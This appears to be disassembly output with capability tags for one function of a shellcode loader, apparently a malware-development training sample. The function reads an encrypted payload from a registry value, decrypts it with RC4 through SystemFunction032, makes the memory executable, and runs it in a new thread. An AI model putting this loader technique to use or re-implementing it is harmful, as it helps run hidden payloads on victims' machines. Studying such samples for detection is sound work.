Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
xor r14d, r14d
mov dword [rbp - 0x18], 0x189183dd
lea rax, [rbp - 0x40]
mov dword [rbp - 0x14], 0xeb4d2e5d
mov qword [r11 - 0x58], rax
lea r8, str.MalDevAcademy
mov qword [r11 - 0x60], r14
lea rdx, str.Control_Panel
mov r9d, 0xffff
mov qword [r11 - 0x68], r14
mov rcx, 0xffffffff80000001
mov dword [rbp - 0x10], 0x3c0ce60d
mov dword [rbp - 0xc], 0xf45a6bb3
mov esi, r14d
mov dword [rbp - 0x40], r14d
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x14000110b
mov edx, eax
lea rcx, str.____RegGetValueA_Failed_With_Error_:__d_n
call fcn.140001010
mov rbx, qword [rbp - 0x38]
jmp 0x140001189
mov ebx, dword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140001147
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
call fcn.140001010
mov rbx, qword [rbp - 0x38]
jmp 0x140001189
lea rax, [rbp - 0x40]
mov r9d, 0xffff
mov qword [rsp + 0x30], rax
lea r8, str.MalDevAcademy
mov qword [rsp + 0x28], rbx
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400010f7
mov rsi, rbx
mov ebx, dword [rbp - 0x40]
mov rdx, rsi
lea rcx, str.At_0x_p_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rax, [rbp - 0x18]
mov dword [rbp - 0x38], 0x10
lea rcx, str.Advapi32
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x34], 0x10
mov dword [rbp - 0x28], ebx
mov dword [rbp - 0x24], ebx
mov qword [rbp - 0x20], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x28]
call rax
test eax, eax
je 0x1400011f7
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov r9d, 4
mov dword [rbp - 0x38], r14d
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14000122c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d_n
jmp 0x1400012bd
mov rdx, rdi
lea rcx, str._i__Allocated_Memory_At_:_0x_p_n
call fcn.140001010
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp - 0x38]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000127f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d_n
jmp 0x1400012bd
lea rcx, str.___Press__Enter__To_Run_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], r14
mov r8, rdi
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1400012c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateThread_Failed_With_Error_:__d_n
mov edx, eax
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001300
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret